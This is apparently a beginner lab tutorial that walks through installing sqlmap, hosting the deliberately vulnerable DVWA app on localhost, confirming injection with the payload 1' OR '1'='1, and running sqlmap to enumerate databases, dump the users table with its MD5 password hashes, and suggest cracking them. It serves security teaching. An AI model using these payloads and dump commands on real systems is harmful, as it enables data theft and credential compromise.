Exploit SQL Injection in sqlmap

Beginner
Practice Now

Introduction

In this lab, you will learn how to exploit SQL injection vulnerabilities using sqlmap, an automated SQL injection and database takeover tool. You'll practice installing sqlmap, configuring a vulnerable web application (DVWA), and performing various SQL injection attacks to extract sensitive data.

The lab demonstrates practical techniques for identifying injection points, executing database queries, and analyzing extracted information. Through this hands-on exercise, you'll gain essential skills for both offensive security testing and defensive vulnerability assessment.


Skills Graph

Install sqlmap

In this step, you will install sqlmap, a popular open-source penetration testing tool for detecting and exploiting SQL injection vulnerabilities. SQL injection is a common web security vulnerability that allows attackers to interfere with database queries. sqlmap automates the process of detecting and exploiting these vulnerabilities.

sqlmap is written in Python, so we'll use Python's package manager pip to install it. pip is a tool that comes with Python and helps you install and manage additional Python packages. Follow these steps carefully:

  1. First, ensure you're in the default working directory. This is important because it keeps your project files organized:
cd ~/project
  1. Update pip to the latest version. Keeping pip updated ensures you can install the newest versions of packages and avoid compatibility issues:
pip install --upgrade pip
  1. Install sqlmap using pip. This command downloads sqlmap and all its dependencies from the Python Package Index (PyPI):
pip install sqlmap
  1. Verify the installation by checking the version. This confirms sqlmap is properly installed and shows you which version you have:
sqlmap --version

You should see output similar to:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x

This confirms sqlmap is successfully installed. The tool will be available globally in your system since pip installs packages to the user's Python environment. The legal disclaimer reminds you that sqlmap should only be used on systems you have permission to test.

Key points for beginners:

  • pip automatically handles downloading and installing Python packages
  • The --upgrade flag updates pip itself to the newest version
  • sqlmap gets installed in Python's site-packages directory where all Python packages live
  • The --version flag is a standard way to verify installation across many command-line tools
  • The output shows sqlmap's version number and important legal information about proper usage

Set Up a Vulnerable Web App

In this step, you will set up a deliberately vulnerable web application called "Damn Vulnerable Web Application" (DVWA) that contains SQL injection vulnerabilities. This will serve as our test environment for practicing SQL injection techniques with sqlmap. DVWA is specifically designed for security professionals and students to learn about web vulnerabilities in a safe, legal environment.

  1. First, ensure you're in the correct directory. The ~/project directory is where we'll store all our lab files:
cd ~/project
  1. Clone the DVWA repository from GitHub. This command downloads all the application files to your local machine:
git clone https://github.com/digininja/DVWA.git
  1. Navigate into the DVWA directory. This is where all the application files are stored after cloning:
cd DVWA
  1. Start the PHP built-in web server. We're using port 8000 because it's commonly available and won't conflict with other services. The 0.0.0.0 means the server will accept connections from any network interface:
php -S 0.0.0.0:8000
  1. Open a new terminal tab (right-click on terminal and select "New Tab") while keeping the server running. This allows you to continue working while the web server remains active.

  2. In the new tab, verify the server is running properly. The curl command fetches the homepage content to confirm the application is responding:

curl http://localhost:8000

You should see HTML output containing "Damn Vulnerable Web Application (DVWA)".

For beginners understanding the components:

  • DVWA is a PHP/MySQL web application specifically designed with security vulnerabilities for learning purposes
  • The PHP built-in server (php -S) is a simple way to run PHP applications during development
  • Port 8000 is a common alternative port for development servers when port 80 is unavailable
  • The application will be accessible in your browser at http://localhost:8000

Note: Keep the server running in the first terminal tab throughout the lab. All subsequent steps will use this vulnerable application. If you accidentally close this tab, you'll need to restart the server by repeating step 4.

Locate an Injection Point

In this step, we'll learn how to identify a basic SQL injection vulnerability in the DVWA (Damn Vulnerable Web Application). This is a crucial first step before using automated tools like sqlmap, as we need to manually confirm where the vulnerability exists.

  1. First, ensure the DVWA server is still running (from Step 2). If not, start it again:
cd ~/project/DVWA && php -S 0.0.0.0:8000

This command starts a PHP web server running DVWA on port 8000.

  1. Open the DVWA in your browser by visiting:
http://localhost:8000
  1. Login with these credentials:
Username: admin
Password: password

These are default credentials provided by DVWA for testing purposes.

  1. Set the security level to "low" (left menu: DVWA Security -> set to Low -> Submit)
    DVWA has different security levels - we're using "low" to demonstrate basic vulnerabilities without protections.

  2. Navigate to "SQL Injection" in the left menu
    This is where we'll test for SQL injection vulnerabilities.

  3. Test for SQL injection by entering this in the User ID field:

1' OR '1'='1

This is a classic SQL injection test string. Let's break it down:

  • The single quote (') closes the original query
  • OR '1'='1' adds a condition that's always true
  • Together they manipulate the SQL query to return all records
  1. Click "Submit". You should see all user records returned, indicating a successful injection.
    If you see more data than expected (all users instead of just one), this confirms the injection worked.

Key concepts for beginners:

  • SQL injection occurs when user input is directly included in database queries without proper sanitization
  • The single quote (') is a common character used to break out of the intended SQL query syntax
  • 'OR '1'='1' is a basic test payload that exploits this by creating a condition that's always true
  • The "low" security level removes protections so we can focus on learning the vulnerability

This successful test shows the User ID parameter is vulnerable to SQL injection. In the next step, we'll use this confirmed vulnerability point with sqlmap for more advanced exploitation. Remember that finding injection points manually helps understand how automated tools work behind the scenes.

Extract Data with sqlmap

In this step, you will use sqlmap, an automated SQL injection tool, to exploit the vulnerability we identified earlier. SQL injection allows attackers to interact directly with a database, and sqlmap helps automate this process by testing parameters and extracting information.

  1. First, ensure you're in the project directory where we'll execute all commands:
cd ~/project
  1. Run sqlmap against the vulnerable page. The --cookie parameter is crucial here because DVWA requires authentication. Replace <PHPSESSID> with the cookie value you obtained when logging into DVWA:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch

The --batch flag tells sqlmap to use default options automatically, which is helpful for beginners learning the tool.

  1. When sqlmap asks about saving the session, type "Y" and press Enter. This allows you to resume the scan later if needed.

  2. To discover what databases exist on the server, we'll use the --dbs flag which stands for "databases":

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
  1. The output will show available databases. You should see two databases listed:
available databases [2]:
[*] dvwa
[*] information_schema

dvwa is our target database, while information_schema is a standard MySQL database containing metadata.

  1. Now let's examine the tables inside the dvwa database. The -D parameter specifies the database name, and --tables lists its contents:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch

Key parameters explained:

  • --cookie: Includes your session credentials to maintain authenticated access
  • --batch: Runs sqlmap in non-interactive mode using default choices
  • --dbs: Discovers available database names on the server
  • -D: Selects a specific database to investigate
  • --tables: Retrieves the list of tables within the chosen database

Analyze Retrieved Data

In this step, we'll examine the sensitive database information that sqlmap successfully extracted through SQL injection. This demonstrates the real-world impact of SQL injection vulnerabilities by showing exactly what data attackers can access.

  1. First, let's retrieve all data from the 'users' table in the DVWA database. This command builds on what we did previously, but now we're specifically targeting the users table to see credential information (replace with your session cookie):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch

The -D dvwa specifies the database, -T users targets the users table, and --dump retrieves all its contents.

  1. The output reveals sensitive user information stored in the database:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user    | password                         | avatar    | last_login | failed_login        |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1       | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL       | 0                   |
| 2       | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL       | 0                   |
| 3       | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg  | NULL       | 0                   |
| 4       | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL       | 0                   |
| 5       | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL       | 0                   |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+

Notice the password column contains MD5 hashes instead of plaintext passwords. While this is better than storing raw passwords, MD5 is considered cryptographically broken and vulnerable to rainbow table attacks.

  1. You can attempt to crack these hashes using online tools like CrackStation by copying and pasting the hash values. This shows how weak hashing algorithms can be reversed to reveal original passwords.

  2. To understand the complete database structure, we can retrieve its schema:

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch

The --schema flag reveals all tables and their column structures, giving attackers a roadmap of the entire database. This is extremely valuable information for further exploitation.

Key takeaways for beginners:

  • The --dump parameter extracts all data from a specified table
  • MD5 hashes can often be cracked using precomputed rainbow tables
  • Database schema information helps attackers understand the data structure
  • This exercise demonstrates how a single SQL injection vulnerability can lead to complete database compromise
  • Always use strong, salted hashing algorithms like bcrypt for password storage

Summary

In this lab, you have learned how to install and use sqlmap for SQL injection testing, beginning with environment setup through pip installation and version verification. The lab guided you through deploying DVWA as a vulnerable target and establishing a local testing server.

You have practiced identifying SQL injection vulnerabilities and extracting data using sqlmap's automated tools. The exercises covered essential command-line operations while demonstrating practical cybersecurity testing techniques for detecting database vulnerabilities.